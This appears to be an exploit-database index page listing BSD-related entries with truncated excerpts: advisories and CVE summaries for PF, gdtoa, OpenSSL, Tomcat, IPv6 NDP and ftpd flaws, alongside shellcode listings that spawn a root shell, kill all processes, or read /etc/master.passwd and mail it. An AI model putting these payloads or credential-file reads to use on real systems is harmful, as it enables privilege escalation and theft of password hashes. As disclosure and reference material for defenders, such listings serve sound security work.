netbsd/x86 kill all processes shellcode 23 bytes

Exploit for netbsd/x86 platform in category shellcode ================================================ netbsd/x86 kill all processes shellcode 23 bytes ================================================ / netbsd/x86 kill all processes shellcode this shellcode is using syscall number 37 or 0x25 37 S...

BSD (Multiple Distributions) - 'gdtoa/misc.c' Memory Corruption

source: https://www.securityfocus.com/bid/35510/info Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index. Attackers may exploit this issue to execute arbitrary code within the context of affected...

BSD (Multiple Distributions) - gdtoamisc.c Memory Corruption

BSD Multiple Distributions - gdtoamisc.c Memory Corruption source: https://www.securityfocus.com/bid/35510/info Multiple BSD distributions are prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index. Attackers may exploit this iss...

multiple vendor - PF NULL pointer dereference

The new advisory can get found at: www.helith.net/txt/multiplevendor-PFnullpointerdereference.txt @Securityfocus: Your informations are wrong, a update of your DB would be fine @Other security websites: Please modify the URL in your DB in case you do keep links! I kept all references so a update ...

Packet Filter Null Pointer Dereference

/ / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / // ///// // // // Helith - 0815 -------------------------------------------------------------------------------- Author : Rembrandt Date : 2009-04-30 Found : 2009-04-09 Affected Software: PF OpenBSD Packet Filter Affected OS ...

Multiple Vendor PF Null Pointer Dereference Vulnerability

Exploit for bsd platform in category dos / poc ========================================================= Multiple Vendor PF Null Pointer Dereference Vulnerability ========================================================= / / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / //...

Multiple Vendor - PF Null Pointer Dereference

/ / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / // ///// // // // Helith - 0815 -------------------------------------------------------------------------------- Author : Rembrandt Date : 2009-04-30 Found : 2009-04-09 Affected Software: PF OpenBSD Packet Filter Affected OS ...

Multiple Vendor - PF Null Pointer Dereference

Multiple Vendor - PF Null Pointer Dereference / / / / / / / / / / / / / // / / / / / / / / / // / / / // // / / / / / // ///// // // // Helith - 0815 -------------------------------------------------------------------------------- Author : Rembrandt Date : 2009-04-30 Found : 2009-04-09 Affected...

[SECURITY] Fedora 10 Update: ejabberd-2.0.4-1.fc10

ejabberd is a Free and Open Source distributed fault-tolerant Jabber/XMPP server. It is mostly written in Erlang, and runs on many platforms tested on Linux, FreeBSD, NetBSD, Solaris, Mac OS X and Windows NT/2000/XP...

NetBSD/x86 - setreuid(0, 0); execve("/bin//sh", ..., NULL); - 29 bytes

No description provided by source. / minervini at neuralnoise dot com c 2005 NetBSD/i386 2.0, setreuid0, 0; execve"/bin//sh", ..., NULL; note: unsafe shellcode, but 29 bytes long; doesn't work if eax & 0x40000000 != 0; / include "sys/types.h" include "stdio.h" include "string.h" char scode = "\x9...

NetBSD/x86 - execve(/bin/sh) - 68 bytes

No description provided by source. / NetBSD execve of /bin/sh by humble of Rhino9 / char shellcode = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2" "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0" "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"...

BSD/x86 - cat /etc/master.passwd & mail root@localhost - 92 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 92 bytes. execve/bin/sh -c "/bin/cat /etc/master.passwd|mail root@localhost"; pueden reemplzar el comando por lo que se les ocurra. / char shellcode= "\xeb\x25" / jmp shellcode+39 / "\x59" / popl...

BSD/x86 - execve(/bin/sh) & setuid(0) - 29 bytes

No description provided by source. / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 29 bytes. -setuid0; -execve/bin/sh; / char shellcode= "\x31\xc0" // xor %eax,%eax "\x50" // push %eax "\xb0\x17" // mov $0x17,%al "\x50" // push %eax "\xcd\x80" // int $0x80 "\x50" // push %eax...

OpenSSL 'EVP_VerifyFinal'函数签名验证漏洞

BUGTRAQ ID: 33150 CVE ID：CVE-2008-5077 CNCVE ID：CNCVE-20085077 OpenSSL是一款开放源码的SSL实现，用来实现网络通信的高强度加密。 部分OpenSSL函数验证DSA和ECDSA密钥时不正确验证"EVPVerifyFinal"函数返回值，发送特殊构建的签名证书链给客户端，可绕过签名检查。 通过恶意服务器或中间人攻击，可使证书链中的畸形SSL/TLS签名绕过客户端软件检查，导致盲目信任并泄漏敏感信息。 成功利用此漏洞需要服务器使用包含DSA或者ECDSA密钥的证书。 Ubuntu Ubuntu Linux 8.10 spar...

Linux each version of the local root password cracking method-vulnerability warning-the black bar safety net

This time the old met was asked and the various linux versions of the local root password cracking method, I here own and on the network to collect some information, we want to see this article and just used to give the art a little help: A RedHat/CentOS/Fedora system password cracking 1. In the...

Apache Tomcat 'RemoteFilterValve'安全绕过漏洞

BUGTRAQ ID: 31698 CVE ID：CVE-2008-3271 CNCVE ID：CNCVE-20083271 Apache Tomcat是一款流行的开放源码的JSP应用服务器程序。 Apache Tomcat处理'RemoteFilterValve'扩展存在安全绕过问题，远程攻击者可以利用漏洞绕过访问限制，获得敏感信息。 在使用RemoteAddrValve允许部分地址访问引擎时： Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="a.b.c.d"/...

Design/Logic Flaw

The IPv6 Neighbor Discovery Protocol NDP implementation in 1 FreeBSD 6.3 through 7.1, 2 OpenBSD 4.2 and 4.3, 3 NetBSD, 4 Force10 FTOS before E7.7.1.1, 5 Juniper JUNOS, and 6 Wind River VxWorks 5.x through 6.4 does not validate the origin of Neighbor Discovery messages, which allows remote attacke...

CVE-2008-2476

The CVE-2008-2476 issue concerns the IPv6 Neighbor Discovery Protocol (NDP) implementation in several vendors (FreeBSD 6.3–7.1; OpenBSD 4.2–4.3; NetBSD; Force10 FTOS pre-E7.7.1.1; Juniper JUNOS; Wind River VxWorks 5.x–6.4) that does not validate the origin of Neighbor Discovery messages. This all...

multiple vendor ftpd - Cross-site request forgery

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 multiple vendor ftpd - Cross-site request forgery Author: Maksymilian Arciemowicz securityreason.com Date: - - Written: 03.09.2008 - - Public: 26.09.2008 SecurityReason Research SecurityAlert Id: 56 CVE: not assigned SecurityRisk: Low Affected Softwar...

CVE-2008-4247

ftpd in OpenBSD 4.3, FreeBSD 7.0, NetBSD 4.0, Solaris, and possibly other operating systems interprets long commands from an FTP client as multiple commands, which allows remote attackers to conduct cross-site request forgery CSRF attacks and execute arbitrary FTP commands via a long ftp:// URI...